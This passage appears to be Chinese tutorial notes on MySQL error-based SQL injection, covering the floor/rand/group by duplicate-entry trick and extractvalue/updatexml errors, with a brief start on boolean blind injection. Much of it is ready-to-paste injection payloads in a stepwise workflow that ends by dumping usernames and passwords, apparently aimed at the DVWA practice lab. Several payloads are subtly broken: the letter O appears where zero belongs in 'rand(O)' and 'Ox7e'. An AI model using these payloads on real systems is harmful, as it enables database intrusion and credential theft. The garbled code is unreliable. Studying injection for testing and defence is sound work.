注意 :(1)XPATH报错注入的使用条件是数据库版本符合条件 (2)extractvalue() 和 updatexml() 有32位 长度限制
floor() ** 报错注入**
floor() 报错注入准确地说应该是floor、 count、 group by冲突报错, count(*)、rand()、group by三者缺一不可
floor() 函数的作用是返回小于等于该值的最大整数 ,只返回arg1整数部分 ,小数部分舍弃
条件:mysql 5.0及以上版本
标准 Payload:
and (select 1 from(select count(*),concat(user(),floor(rand(O)*2))x from information_schema.tables group by x)y) and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from information_schema.tables group by x)y)结果:Duplicate entry 'root@localhost1' for key 'group key'
标准Payload解析:
- floor():取整数
- rand():在0和1之间产生一个随机数
- rand(0)*2:将取到的随机数乘以2=0
- floor(rand()*2):有两条记录就会报错随机输出0或1
- floor(rand(0)*2):记录需为3条以上,且3条以上必报错 ,返回的值是有规律的
- count(*):用来统计结果,相当于刷新一次结果
- group by:在对数据进行分组时会先看虚拟表中是否存在这个值,不存在就插入;存在的话 count()加1,在使用 group by时 floor(rand(0)2)会被执行一次,若虛表不存在记录,插入虚表时会再执行一次
其他常用报错注入1. 列名重复报错注入
2. 整形溢出报错注入
3. 几何函数报错注入
4. 常见的报错函数
> 报错注入一般流程
**1.查看数据库版本,当前数据库名,当前用户** and extractvalue(1,concat(Ox7e,(select version()),0x7e))--+ and extractvalue(1,concat(Ox7e,(select database()),0x7e))--+ and extractvalue(1,concat(Ox7e,(select user()),0x7e))--+ **2.查看数据库中有多少个表** and extractvalue(1,concat(ox7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e))--+ **3.查看数据库中有所有表名** and extractvalue(1,concat(ox7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+ **4.查看表里面的所有字段名** and extractvalue(1,concat(ox7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e))--+ **5.查看表中的所有数据** and extractvalue(1,concat(ox7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e))--+ and extractvalue(1,concat(ox7e,(select concat_ws('~',username,password) from dvwa.users limit 0,1),0x7e))--+ bool盲注普通注入和盲注的区别
bool盲注概述
bool盲注时SQL盲注的一种,就是在进行SQL注入的时候,WEB页面仅返回True和 False
bool盲注会根据web页面返回的True或者 False信息,对数据库中的信息进行猜解 ,并获取数据库中的相关信息
相关函数介绍看0x01 常用函数总结